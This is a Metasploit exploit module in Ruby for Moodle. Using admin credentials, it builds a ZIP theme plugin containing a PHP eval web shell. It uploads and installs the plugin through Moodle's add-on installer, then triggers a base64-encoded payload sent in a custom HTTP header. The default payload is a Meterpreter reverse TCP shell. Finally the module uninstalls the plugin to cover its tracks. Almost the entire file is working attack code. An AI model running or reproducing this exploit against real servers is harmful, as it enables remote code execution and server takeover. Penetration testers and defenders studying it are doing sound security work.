Files
metasploit-gs/modules/exploits/multi/http/moodle_admin_shell_upload.rb
T

245 lines
8.9 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle Admin Shell Upload',
'Description' => %q{
This module will generate a plugin which can receive a malicious
payload request and upload it to a server running Moodle
provided valid admin credentials are used. Then the payload
is sent for execution, and the plugin uninstalled.
You must have an admin account to exploit this vulnerability.
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
},
'License' => MSF_LICENSE,
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
'h00die' # msf module cleanup and inclusion
],
'References' => [
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
['EDB', '46775'],
['CVE', '2019-11631'] # rejected, its a feature!
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2019-04-28',
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => "'",
'Default' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
]
)
end
def create_plugin_file
# There are syntax errors in creating zip file. So the payload was sent as base64.
plugin_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@plugin_name = Rex::Text.rand_text_alpha_lower(8)
print_status("Creating plugin named: #{@plugin_name}")
path = "#{@plugin_name}/version.php"
path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php"
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{@plugin_name}';")
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
# plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")
plugin_file.pack
end
def exec_code
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".
print_status('Triggering payload')
send_request_cgi({
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'theme', @plugin_name, 'lang', 'en', "theme_#{@plugin_name}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
})
end
def upload
print_status('Getting variables required for upload')
res = send_request_cgi!(
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
)
@sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
@itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
@author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
@clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
# creating multipart data for the upload plugin file
pdata = Rex::MIME::Message.new
pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"")
pdata.add_part('', nil, nil, 'form-data; name="title"')
pdata.add_part(@author, nil, nil, 'form-data; name="author"')
pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"')
pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
if @version < Rex::Version.new('3.9.0')
pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
else
pdata.add_part('5', nil, nil, 'form-data; name="repo_id"')
end
pdata.add_part('', nil, nil, 'form-data; name="p"')
pdata.add_part('', nil, nil, 'form-data; name="page"')
pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"')
pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"')
pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
print_status('Uploading plugin')
res = send_request_cgi!({
'method' => 'POST',
'data' => pdata.to_s,
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'),
'vars_get' => {
'action' => 'upload'
}
})
unless res.body =~ /draftfile.php/
fail_with(Failure::NoAccess, 'Something went wrong!')
end
print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!")
print_status('Attempting to integrate the plugin...')
@zipfile = res.body.split('draft\/')[1].split('\/')[0]
end
def plugin_integration
print_status('Integrating plugin')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'sesskey' => @sesskey,
'_qf__tool_installaddon_installfromzip_form' => '1',
'mform_showmore_id_general' => '0',
'mform_isexpanded_id_general' => '1',
'zipfile' => @zipfile,
'plugintype' => 'theme',
'rootdir' => '',
'submitbutton' => 'Install+plugin+from+the+ZIP+file'
}
)
unless res.body =~ /installzipstorage/
fail_with(Failure::NoAccess, 'Install not successful')
end
print_good('Plugin successfully integrated!')
storage = res.body.split('installzipstorage=')[1].split('&')[0]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'installzipcomponent' => "theme_#{@plugin_name}",
'installzipstorage' => storage,
'installzipconfirm' => '1',
'sesskey' => @sesskey
}
)
end
def clean
print_status('Uninstalling plugin')
if @version < Rex::Version.new('3.9.0')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'cache' => '0',
'confirmplugincheck' => '0',
'abortinstallx' => '1',
'confirmabortinstall' => '1',
'sesskey' => @sesskey
}
})
else
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'cache' => '0',
'confirmrelease' => '1',
'confirmplugincheck' => '0',
'abortinstallx' => "theme_#{@plugin_name}",
'confirmabortinstall' => '1',
'sesskey' => @sesskey
}
})
end
end
def check
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
# This is a feature, not a vuln, so we assume this to work on 3.0.0+
# assuming the plugin arch changed before that.
# > 3.0, < 3.9
@version = Rex::Version.new(v)
if @version > Rex::Version.new('3.0.0')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end
def exploit
print_status("Authenticating as user: #{datastore['USERNAME']}")
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
cookies.each do |cookie|
cookie_jar.add(cookie)
end
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
upload
plugin_integration
exec_code
clean
end
end